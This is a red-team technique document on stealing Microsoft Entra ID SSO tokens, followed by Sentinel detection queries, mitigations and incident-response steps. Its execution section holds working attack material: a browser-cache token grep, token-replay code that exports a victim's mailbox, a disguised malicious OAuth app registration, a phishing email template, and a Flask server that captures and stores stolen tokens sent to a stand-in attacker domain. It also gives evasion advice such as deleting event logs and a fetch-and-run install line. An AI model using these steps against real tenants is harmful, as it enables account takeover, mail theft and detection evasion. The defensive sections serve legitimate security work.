MCADDF

[CA-TOKEN-021]: Entra SSO Credential Theft

1. METADATA HEADER

Attribute	Details
Technique ID	CA-TOKEN-021
MITRE ATT&CK v18.1	T1528 - Steal Application Access Token
Tactic	Credential Access
Platforms	Microsoft Entra ID (Azure AD), M365
Severity	Critical
Technique Status	ACTIVE
Last Verified	2025-01-08
Affected Versions	Entra ID all versions, Office 365 all versions
Patched In	No patch available; requires architectural changes
Author	SERVTEP – Artur Pchelnikau

Note: Sections 3 (Technical Prerequisites), 6 (Atomic Red Team), and 11 (Sysmon Detection) not included because: (1) This is cloud-only with no on-premises dependency, (2) No Atomic test exists for cloud SSO credential theft, (3) Sysmon does not apply to cloud authentication flows. All remaining sections have been renumbered sequentially.

2. EXECUTIVE SUMMARY

Concept: Entra ID Single Sign-On (SSO) credential theft occurs when an attacker intercepts, steals, or exfiltrates OAuth/OIDC access tokens issued by Entra ID’s authentication layer. Once a token is obtained, the attacker can impersonate the legitimate user across any cloud application that trusts the token (M365, Teams, SharePoint, custom SaaS apps). Unlike credential dumping, this attack does not require network access or local admin privileges—it can occur at the browser level, token cache level, or through compromised OAuth apps that hold user tokens. Critically, stolen Entra SSO tokens bypass password requirements entirely and often bypass multi-factor authentication (MFA) if the MFA challenge occurred before token issuance.

Attack Surface: Entra ID token caches (browser storage, memory), OAuth app permissions, token interception via man-in-the-middle (MITM), cloud application token databases, device compromise at the browser/OS level.

Business Impact: Full unauthorized access to cloud identity and cloud applications. An attacker holding a valid Entra SSO token can read emails, exfiltrate documents, modify cloud configurations, create backdoors, access sensitive databases, and move laterally through the entire Microsoft 365 ecosystem without the victim’s knowledge. The attack is particularly damaging because it leaves minimal forensic evidence if token replay is performed from the same geographic region.

Technical Context: Token theft can be executed within minutes of target compromise. Detection is difficult because the attacker uses legitimate tokens signed by Microsoft’s Entra ID infrastructure. Token lifetime varies (typically 1 hour for access tokens, longer for refresh tokens), creating a window of opportunity.

Operational Risk

Execution Risk: Low – Requires only device compromise or OAuth phishing; no privilege escalation necessary.
Stealth: High – Uses legitimate tokens; minimal behavioral anomalies if attacker mimics user behavior.
Reversibility: Partially – Compromised tokens cannot be “uncompromised,” but immediate sign-out, password reset, and token revocation can limit damage.

Compliance Mappings

Framework	Control / ID	Description
CIS Benchmark (M365)	1.1.1, 1.1.2	Ensure MFA is enabled for all users; detects impossible conditions post-MFA
NIST 800-53	AC-3, IA-2, IA-8	Access Enforcement, Authentication, Device Identification
GDPR	Art. 32, 33	Security of Processing, Breach Notification (72-hour requirement)
DORA	Art. 18, 19	Incident Management, Advanced Security Monitoring
NIS2	Art. 21	Cyber Risk Management Measures (Critical Infrastructure)
ISO 27001	A.5.8, A.9.2.1	Authentication, User Access Management
ISO 27005	Section 12.6.1	Risk Response – Credential Compromise Scenarios

3. TECHNICAL CONTEXT & PREREQUISITES

Required Access:

Device compromise (malware, browser extension, phishing) OR
OAuth app with excessive permissions that user authorized OR
MITM position on victim’s network (if HTTP tokens intercepted) OR
Access to cloud SaaS application’s token database

Supported Versions:

Entra ID: All versions (Azure AD legacy, Azure AD with Seamless SSO, Entra ID Premium)
Browsers: Edge, Chrome, Firefox, Safari (all versions)
OAuth Flows: Authorization Code, Device Code, Client Credentials, ROPC (if enabled)

Environmental Factors:

Token lifetime (default: 1 hour for access tokens)
Refresh token lifetime (default: 90 days)
Conditional Access policies (can reduce risk)
MFA enrollment status (does not prevent token theft post-MFA)
Device compliance requirements

4. ENVIRONMENTAL RECONNAISSANCE

Via Azure Portal / PowerShell - Check SSO Token Cache Status

Objective: Verify whether refresh tokens are cached locally on the user’s machine and whether conditional access policies are limiting token lifetime.

Check Conditional Access Policies (PowerShell)

# Connect to Entra ID
Connect-MgGraph -Scopes "Policy.Read.All"

# List all Conditional Access policies
Get-MgIdentityConditionalAccessPolicy | Select-Object -Property DisplayName, State, CreatedDateTime

# Check for MFA enforcement on sensitive apps
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.DisplayName -like "*MFA*" } | Format-List

What to Look For:

High-risk indicator: Conditional Access policies with State: disabled or no session duration limits
Success indicator: Policies enforcing sessionLifetime: 1 hour and requireCompliantDevice: true
Red flag: OAuth apps with Read/Write All Mail, Read/Write All Files permissions but not in approved list

Check OAuth App Permissions (PowerShell - Requires Global Admin)

# List all registered applications with high-risk permissions
Get-MgApplication | Where-Object { $_.RequiredResourceAccess -match "Mail.ReadWrite" -or $_.RequiredResourceAccess -match "Files.ReadWrite" } | Select-Object -Property DisplayName, AppId, CreatedDateTime | Format-Table

What to Look For:

Applications with Mail.ReadWrite.All or Sites.ReadWrite.All (overprivileged OAuth apps)
Applications created recently by unknown users
Applications with allowPublicClient: true (insecure for confidential data)

5. DETAILED EXECUTION METHODS

METHOD 1: Token Theft via Browser Cache Extraction

Supported Versions: All browsers (Edge, Chrome, Firefox, Safari)

Step 1: Compromise User Device or Install Malicious Browser Extension

Objective: Gain access to browser’s token storage mechanism.

Command (Windows - Via Malware):

REM Browser token stores are typically located at:
REM Chrome/Chromium: %APPDATA%\Google\Chrome\User Data\Default\Local Storage\leveldb
REM Edge: %APPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb
REM Firefox: %APPDATA%\Mozilla\Firefox\Profiles\<profile>\storage\default

REM Extract tokens via PowerShell
Get-ChildItem -Path "$env:APPDATA\Google\Chrome\User Data\Default\Cache" -Recurse | Select-String -Pattern "access_token|refresh_token" | Out-File C:\Tokens.txt

OpSec & Evasion:

Execute from RAM-only process (e.g., msiexec.exe with in-memory injection)
Use existing malware like Emotet, Trickbot, or Cobalt Strike beacons
Delete Windows Event Logs after execution (Event ID 4688 - Process Creation)
Use LSASS memory read (requires admin) to avoid disk artifacts

Detection Likelihood: Medium – Antivirus may detect token extraction tools; behavioral analysis may flag suspicious file access patterns.

Troubleshooting:

Error: Token cache encrypted or not found
- Cause: User has DPAPI encryption enabled or browser uses OS credential store
- Fix: Use Mimikatz (dpapi::cache) to decrypt or extract from browser process memory instead
Error: Token validation fails when reused
- Cause: Token expired (lifetime is 1 hour default) or token was bound to device
- Fix: Extract refresh token instead; use it to obtain a fresh access token

References & Proofs:

Step 2: Extract and Replay Stolen Token

Objective: Use stolen token to authenticate to Microsoft Graph API or cloud applications.

Command (PowerShell - Token Replay):

# Assume we have extracted a valid access token from browser cache
$stolenToken = "eyJ0eXAiOiJKV1QiLCJhbGc..."  # Real access token from victim

# Create authorization header
$headers = @{
    "Authorization" = "Bearer $stolenToken"
}

# Access Microsoft Graph API (simulating the victim)
$userInfo = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" -Headers $headers -Method Get
Write-Output $userInfo

# Extract victim's mailbox
$mailItems = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/messages" -Headers $headers -Method Get
$mailItems.value | Export-Csv -Path "C:\ExfilteredMail.csv" -NoTypeInformation

# Access SharePoint files
$sites = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/sites" -Headers $headers -Method Get

Expected Output:

{
  "id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "displayName": "Victim User",
  "userPrincipalName": "victim@company.onmicrosoft.com",
  "mail": "victim@company.com"
}

What This Means:

Successful response confirms the token is valid and the attacker can now read user data
HTTP 401 indicates token expired or revoked (extract refresh token instead)
HTTP 403 indicates token valid but insufficient permissions

OpSec & Evasion:

Replay tokens from the victim’s original geolocation (use VPN)
Delay token usage by 15-30 minutes (avoid immediate impossible travel detection)
Access low-sensitivity resources first to avoid triggering risk-based alerts
Clear browser cache and logs after reusing token

References & Proofs:

METHOD 2: Token Theft via OAuth Application Phishing

Supported Versions: All Entra ID versions

Step 1: Create Malicious OAuth Application

Objective: Register a legitimate-looking OAuth app in Entra ID that users will authorize.

Command (PowerShell - Register App):

# Connect to Entra ID
Connect-MgGraph -Scopes "Application.ReadWrite.All"

# Create malicious app registration
$appParams = @{
    DisplayName = "Microsoft Teams Analytics"  # Legitimate-sounding name
    PublicClient = $false
    RequiredResourceAccess = @(
        @{
            ResourceAppId = "00000003-0000-0000-c000-000000000000"  # Microsoft Graph
            ResourceAccess = @(
                @{
                    Id = "df021288-bdef-4463-88db-98f22db89214"  # Mail.ReadWrite
                    Type = "Scope"
                },
                @{
                    Id = "37f7f235-527c-4136-accd-4a02d197296e"  # Files.ReadWrite.All
                    Type = "Scope"
                }
            )
        }
    )
    Web = @{
        RedirectUris = @("https://attacker-controlled-domain.com/callback")
    }
}

$app = New-MgApplication @appParams
$appId = $app.AppId

# Create app secret
$secretParams = @{
    DisplayName = "default"
}
$appSecret = Add-MgApplicationPassword -ApplicationId $app.Id @secretParams

What This Means:

The app is now registered with Graph API permissions to read/write mail and files
Redirect URI points to attacker’s server where tokens will be captured
App secret is needed to exchange authorization code for tokens

OpSec & Evasion:

Use generic names like “Microsoft”, “Office”, “Analytics” (avoid “Evil” or obvious malicious names)
Register app in free Entra ID tenant (not target organization) to avoid leaving audit trails in victim org
Use legitimate-looking domain (e.g., microsoft-analytics.com instead of attacker.com)

Step 2: Send Phishing Link to Users

Objective: Trick users into authorizing the malicious OAuth app.

Command (Bash - Generate Phishing Link):

# OAuth Device Code Flow (easier, no callback needed)
CLIENT_ID="xxxxx-app-id-xxxxx"
TENANT="common"  # Allows any tenant

DEVICE_FLOW_URL="https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode?client_id=${CLIENT_ID}&scope=https://graph.microsoft.com/.default"

# Or Authorization Code Flow with phishing domain
AUTH_CODE_URL="https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${CLIENT_ID}&redirect_uri=https://attacker-domain.com/callback&response_type=code&scope=Mail.ReadWrite%20Files.ReadWrite.All&response_mode=form_post"

echo "Send this link to victims via phishing email:"
echo $AUTH_CODE_URL

Phishing Email Template:

Subject: Update Required: Microsoft Teams Analytics Integration

Hi <User>,

To improve your Teams experience, please authorize the Microsoft Teams Analytics application. 
Click the link below and sign in with your work account:

[MALICIOUS_OAUTH_LINK]

This authorization takes 2 minutes. Your Teams data will be used for analytics only.

Best regards,
Microsoft Teams Team

Troubleshooting:

Issue: Users see consent screen warning about unverified app
- Fix: Publisher verification may be bypassed; users often click “Accept” anyway
Issue: Conditional Access blocks OAuth flow
- Fix: Use device code flow instead (harder to block)

References & Proofs:

Step 3: Capture and Store Stolen Tokens

Objective: Receive the authorization code and exchange it for access tokens.

Command (Node.js/Python - Token Capture Server):

# Python Flask server to capture tokens
from flask import Flask, request, jsonify
import requests

app = Flask(__name__)
CLIENT_ID = "xxxxx-app-id-xxxxx"
CLIENT_SECRET = "xxxxx-app-secret-xxxxx"
TENANT = "common"

@app.route('/callback', methods=['GET', 'POST'])
def callback():
    # Capture authorization code
    code = request.args.get('code')
    state = request.args.get('state')
    session_state = request.args.get('session_state')
    
    if not code:
        return jsonify({"error": "No code received"}), 400
    
    # Exchange code for access token
    token_url = f"https://login.microsoftonline.com/{TENANT}/oauth2/v2.0/token"
    token_data = {
        "client_id": CLIENT_ID,
        "client_secret": CLIENT_SECRET,
        "code": code,
        "redirect_uri": "https://attacker-domain.com/callback",
        "grant_type": "authorization_code",
        "scope": "https://graph.microsoft.com/.default"
    }
    
    # Request access token
    token_response = requests.post(token_url, data=token_data)
    tokens = token_response.json()
    
    # Store tokens in database
    access_token = tokens.get('access_token')
    refresh_token = tokens.get('refresh_token')
    
    # Log for later use
    print(f"[+] Captured Token for user: {extract_user_from_token(access_token)}")
    print(f"[+] Access Token: {access_token}")
    print(f"[+] Refresh Token: {refresh_token}")
    
    # Save tokens
    with open('stolen_tokens.txt', 'a') as f:
        f.write(f"{access_token}\n{refresh_token}\n")
    
    # Redirect user to legitimate O365 login page (cover tracks)
    return redirect("https://office365.com")

def extract_user_from_token(token):
    import base64
    parts = token.split('.')
    payload = base64.b64decode(parts[1] + '==')  # Add padding
    import json
    data = json.loads(payload)
    return data.get('upn', 'unknown')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=443, ssl_context=('cert.pem', 'key.pem'))

Expected Output:

[+] Captured Token for user: victim@company.com
[+] Access Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ik5...
[+] Refresh Token: 0.AY4Q...

What This Means:

Tokens successfully captured and stored for later exfiltration
Refresh token valid for 90 days (can be reused multiple times)
Can now access victim’s mailbox, files, calendar without knowing their password

6. TOOLS & COMMANDS REFERENCE

Microsoft Graph PowerShell Module

Version: 2.0+ Installation:

Install-Module Microsoft.Graph -Force -Scope CurrentUser

AADInternals

Version: Latest (GitHub) Installation:

iex (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/Gerenios/AADInternals/master/AADInternals.psd1")
Import-Module AADInternals

Usage:

# Get user's refresh tokens
Get-AADIntAccessTokenForRefresh -RefreshToken $refreshToken

Mimikatz

Version: 2.2.0+ Installation: GitHub Release Usage:

mimikatz.exe
dpapi::cache   # Decrypt cached tokens

7. MICROSOFT SENTINEL DETECTION

Query 1: Impossible Travel Followed by High-Volume Mail Access

Rule Configuration:

Required Table: SigninLogs, AuditLogs
Required Fields: locations, ipAddress, OperationName, ObjectId
Alert Severity: High
Frequency: Run every 5 minutes
Applies To Versions: All Entra ID

KQL Query:

let timeWindow = 30m;
let geoVelocityThreshold = 900;  // km per hour (average commercial aircraft)

SigninLogs
| where TimeGenerated > ago(timeWindow)
| where ResultType == 0  // Successful login
| project TimeGenerated, UserPrincipalName, Location = tostring(LocationDetails.city), Country = tostring(LocationDetails.countryOrRegion), IPAddress = IPAddress
| join kind=inner (
    SigninLogs
    | where TimeGenerated > ago(timeWindow)
    | where ResultType == 0
    | project UserPrincipalName, PriorLocation = tostring(LocationDetails.city), PriorCountry = tostring(LocationDetails.countryOrRegion)
) on UserPrincipalName
| where Location != PriorLocation and Country != PriorCountry
| project TimeGenerated, UserPrincipalName, FromLocation = PriorLocation, ToLocation = Location, IPAddress
| join kind=inner (
    AuditLogs
    | where TimeGenerated > ago(timeWindow)
    | where OperationName in ("Send", "Move", "Delete", "Update") and Resources[0].displayName contains "Exchange"
    | project UserPrincipalName = InitiatedBy.user.userPrincipalName, MailAction = OperationName, Count = 1
    | summarize MailAccessCount = count() by UserPrincipalName
    | where MailAccessCount > 5
) on UserPrincipalName
| project TimeGenerated, UserPrincipalName, FromLocation, ToLocation, IPAddress, MailAccessCount
| extend AlertReason = "Impossible travel detected followed by high-volume mail access"

Manual Configuration Steps (Azure Portal):

Navigate to Microsoft Sentinel → Analytics
Click + Create → Scheduled query rule
General:
- Name: Impossible Travel + Mail Access
- Severity: High
Set rule logic:
- Paste KQL query above
- Run query every: 5 minutes
- Lookup data from the last: 30 minutes
Incident settings:
- Enable Create incidents
- Map fields: User = UserPrincipalName
Click Review + create

False Positive Analysis:

Legitimate Activity: Users traveling for business (VPN from home before flight)
Tuning: Exclude known travel patterns: | where UserPrincipalName !in ("business-traveler@company.com")

8. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Suspicious Token Issuance via OAuth

# Connect to Exchange Online
Connect-ExchangeOnline

# Search for OAuth token issuance
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
  -Operations "Consent to application" `
  -ResultSize 1000 | Select-Object UserIds, Operations, AuditData | Export-Csv -Path "C:\OAuth_Consents.csv"

# Alternative: Search for suspicious RefreshToken events
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
  -Operations "Refresh token issuance" `
  -ResultSize 1000 | Format-List

Manual Steps (Purview Portal):

Navigate to Microsoft Purview Compliance Portal → Audit → Search
Set date range: Last 7 days
Under Activities, select: Consent to application, Add app password, Refresh token issuance
Click Search
Export results: Export → Download all results

9. WINDOWS EVENT LOG MONITORING

Event ID: Not Applicable (Cloud-only attack)

This technique occurs entirely in cloud Entra ID infrastructure. No Windows Event Logs are generated on the victim’s endpoint during token theft. However, if a device was compromised to extract tokens from browser cache, the following events may be detected:

Event ID 4688 (Process Creation):

Look for suspicious tools: mimikatz.exe, procdump.exe, winhttpcom.exe
Suspicious file paths: %APPDATA%\Google\Chrome\User Data\

10. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: Suspicious Sign-in Activity

Severity: High
Description: User signs in from a new location, IP, or browser immediately after OAuth app authorization
Remediation: Review Azure Sentinel logs, revoke compromised tokens via PowerShell

Enable Defender for Cloud Detection

# No direct PowerShell configuration; alerts are automatic in Defender for Cloud
# Verify alerts are enabled:
Get-MgSecurityAlert -Top 10 | Where-Object { $_.Title -like "*OAuth*" -or $_.Title -like "*Impossible*" }

11. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Enforce MFA on All Accounts: Multi-factor authentication significantly reduces token theft risk by adding a second verification factor during sign-in. MFA must be enforced before token issuance, not after.

Manual Steps (Azure Portal):
1. Go to Azure Portal → Entra ID → Security → Authentication Methods → Policies
2. Under Microsoft Authenticator, click Create policy (if not exists)
3. Set Target: All users or Selected groups (at minimum, all admins)
4. Enable: Passwordless phone sign-in
5. Require approval: Yes
6. Click Save
Manual Steps (PowerShell):
```
# Require MFA for all users
$params = @{
    DisplayName = "Enforce MFA for All Users"
    State = "enabled"
    Conditions = @{
        Applications = @{ IncludeApplications = "All" }
        Users = @{ IncludeUsers = "All" }
    }
    GrantControls = @{
        Operator = "AND"
        BuiltInControls = @("mfa")
    }
}
New-MgIdentityConditionalAccessPolicy @params
```
Disable Refresh Token Issuance for Unmanaged Devices: If device is not compliant (not enrolled in Intune/MDM), do not issue refresh tokens that last 90 days.

Manual Steps (Azure Portal):
1. Go to Azure Portal → Entra ID → Security → Conditional Access → New policy
2. Name: Compliant Device Only
3. Assignments:
  - Users: All users
  - Cloud apps: All cloud apps
  - Device state: Exclude compliant devices (check both boxes)
4. Access controls:
  - Grant: Block access
5. Session:
  - Frequency: Every time (no refresh token caching)
6. Enable: On
7. Click Create

Revoke All Refresh Tokens Immediately if Breach Suspected: If token theft is suspected, revoke all active refresh tokens to invalidate stolen tokens.

Manual Steps (PowerShell):

# Revoke all refresh tokens for a specific user
$userId = "victim@company.onmicrosoft.com"
Revoke-MgUserSignInSession -UserId $userId
  
# Force re-authentication for all users
Get-MgUser -Filter "accountEnabled eq true" | Revoke-MgUserSignInSession

Priority 2: HIGH

Enable Conditional Access with Session Duration Limits: Limit token lifetime to reduce the window of token replay.

Manual Steps (Conditional Access Policy):
1. Go to Azure Portal → Entra ID → Security → Conditional Access
2. Create new policy: Session Duration = 1 hour
3. Apply to: All cloud apps
4. This forces re-authentication after 1 hour, invalidating stolen tokens

Monitor OAuth App Permissions: Audit all registered applications and revoke those with unnecessary high-risk permissions.

Manual Steps (PowerShell):

# List all apps with Mail.ReadWrite or Files.ReadWrite permissions
Get-MgApplication -Filter "requiredResourceAccess/any(r:r/resourceAppId eq '00000003-0000-0000-c000-000000000000')" | Select-Object DisplayName, AppId
  
# Remove suspicious app registration
Remove-MgApplication -ApplicationId "<AppId>"

Enable Token Protection in Entra ID: Bind tokens to device to prevent replay from other devices.

Manual Steps (Azure Portal):
1. Go to Azure Portal → Entra ID → Security → Conditional Access
2. Create policy: Token Protection
3. Under Session controls, enable: Require token protection (if available in your region)

Access Control & Policy Hardening

Conditional Access: Require device compliance, approved apps, and MFA sign-in frequency
- Block legacy authentication
- Require approved client apps (Outlook, Teams, Edge only)
- Block sign-in risk High and Medium
Manual Steps:
1. Go to Azure Portal → Entra ID → Security → Conditional Access → New policy
2. Name: High Risk Block
3. Conditions:
  - User risk: High, Medium
4. Access controls:
  - Grant: Block access
5. Enable: On
RBAC: Minimize users with Global Admin or Application Admin roles. Use just-in-time (JIT) access via Privileged Identity Management (PIM).

Manual Steps:
1. Go to Azure Portal → Entra ID → Roles and administrators
2. For each role, reduce members and enable Require approval
3. Go to Entra ID → Identity Governance → Privileged Identity Management
4. For each role, set Activation: Require approval
Policy Config: Disable password-based sign-in for privileged users; require Windows Hello or FIDO2 only.

Validation Commands (Verify Mitigations)

# Verify MFA is enforced
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.GrantControls.BuiltInControls -contains "mfa" } | Select-Object DisplayName, State

# Verify no legacy authentication
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.Conditions.ClientApplications.IncludeClientApplications -contains "legacy" }

# Verify session duration limits
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, @{N="SessionDuration"; E={$_.SessionControls}}

# Verify no users have permanent Global Admin role
Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'" | Get-MgDirectoryRoleMember | ForEach-Object {
    $iamrole = Get-MgDeviceManagementRoleEligibility -Filter "resourceId eq '$($_.id)'"
    if ($null -eq $iamrole) { Write-Host "$($_.displayName) has PERMANENT Global Admin - REMEDIATE" }
}

Expected Output (If Secure):

DisplayName: Enforce MFA for All Users
State: enabled

DisplayName: Session Duration = 1 hour
SessionDuration: SessionLifetime = 60 minutes

12. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Token Cache Files: Browser cache directories (%APPDATA%\Google\Chrome\User Data\Default\Local Storage)
Network: Outbound HTTPS to graph.microsoft.com from non-approved apps
Registry: HKCU\Software\Microsoft\Office\16.0\Common\Identity\Tokens (Office cached tokens)
API Calls: Suspicious Graph API calls (bulk mail export, file downloads, admin role changes)

Forensic Artifacts

Cloud: AuditLogs entries showing Consent to application, Add app password, unusual API access
Browser: Browser history showing OAuth authorization pages
Memory: LSASS process memory may contain token material if browser was running

Response Procedures

Isolate: Revoke all active sessions immediately

Revoke-MgUserSignInSession -UserId "victim@company.com"

Collect Evidence: Export audit logs

Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date) `
  -UserIds "victim@company.com" -ResultSize 5000 | Export-Csv -Path "C:\Evidence.csv"

Remediate: Disable compromised user account and reset password

Update-MgUser -UserId "victim@company.com" -AccountEnabled $false
Reset-MgUserPassword -UserId "victim@company.com" -NewPassword $newPassword

Hunt: Search for other compromised tokens

# Check if attacker accessed other accounts via same IP
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-7) `
  -Operations "Consent to application" | Where-Object { $_.ClientIP -eq "attacker-ip" }

Step	Phase	Technique	Description
1	Initial Access	[IA-PHISH-002] Consent Grant OAuth Attacks	Attacker sends phishing link for OAuth token grant
2	Privilege Escalation	[PE-TOKEN-008] API Authentication Token Manipulation	Stolen token upgraded to higher privileges via Graph API
3	Current Step	[CA-TOKEN-021]	Entra SSO credential theft via compromised device or OAuth app
4	Persistence	[PE-ACCTMGMT-001] App Registration Permissions Escalation	Attacker adds backdoor app with permanent token
5	Impact	[COLLECT-EMAIL-001] Email Collection via EWS	Exfiltrate entire mailbox using stolen token

14. REAL-WORLD EXAMPLES

Example 1: Storm-0558 MSA Key Compromise (2023)

Target: U.S. Government Agencies, Fortune 500 Companies
Timeline: March 2023
Technique Status: Attackers obtained an inactive MSA signing key from Microsoft’s infrastructure and forged tokens for Azure AD accounts, bypassing token validation
Impact: Full access to Exchange Online, SharePoint, Teams for thousands of organizations
Reference: Microsoft Security Blog - Storm-0558

Example 2: Scattered Spider OAuth Token Theft (2023-2024)

Target: Technology and Telecommunications Sectors
Timeline: October 2023 onwards
Technique Status: Attackers used OAuth app phishing to steal Entra ID tokens; replayed tokens from compromised infrastructure
Impact: Lateral movement to cloud resources, ransomware deployment
Reference: CrowdStrike Scattered Spider Analysis

15. COMPLIANCE & AUDIT NOTES

Data Sources Required:

SigninLogs (Entra ID authentication)
AuditLogs (OAuth app grants, token issuance)
Azure Activity Logs (Graph API access)
Microsoft Purview Unified Audit Log (M365 app access)

Retention Policy:

Keep audit logs for minimum 90 days (CIS benchmark requirement)
Use Azure Purview retention policies to enforce 1-year retention for sensitive activities

Incident Reporting:

If breach confirmed, notify users within 72 hours (GDPR Art. 33)
Report to CISA within 72 hours (NIS2 Art. 21)
Notify National Data Protection Authority (country-specific, typically EU)

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MCADDF

[CA-TOKEN-021]: Entra SSO Credential Theft

1. METADATA HEADER

2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

3. TECHNICAL CONTEXT & PREREQUISITES

4. ENVIRONMENTAL RECONNAISSANCE

Via Azure Portal / PowerShell - Check SSO Token Cache Status

Check Conditional Access Policies (PowerShell)

Check OAuth App Permissions (PowerShell - Requires Global Admin)

5. DETAILED EXECUTION METHODS

METHOD 1: Token Theft via Browser Cache Extraction

Step 1: Compromise User Device or Install Malicious Browser Extension

Step 2: Extract and Replay Stolen Token

METHOD 2: Token Theft via OAuth Application Phishing

Step 1: Create Malicious OAuth Application

Step 2: Send Phishing Link to Users

Step 3: Capture and Store Stolen Tokens

6. TOOLS & COMMANDS REFERENCE

Microsoft Graph PowerShell Module

AADInternals

Mimikatz

7. MICROSOFT SENTINEL DETECTION

Query 1: Impossible Travel Followed by High-Volume Mail Access

8. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Suspicious Token Issuance via OAuth

9. WINDOWS EVENT LOG MONITORING

Event ID: Not Applicable (Cloud-only attack)

10. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Enable Defender for Cloud Detection

11. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Commands (Verify Mitigations)

12. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

13. RELATED ATTACK CHAIN

14. REAL-WORLD EXAMPLES

Example 1: Storm-0558 MSA Key Compromise (2023)

Example 2: Scattered Spider OAuth Token Theft (2023-2024)

15. COMPLIANCE & AUDIT NOTES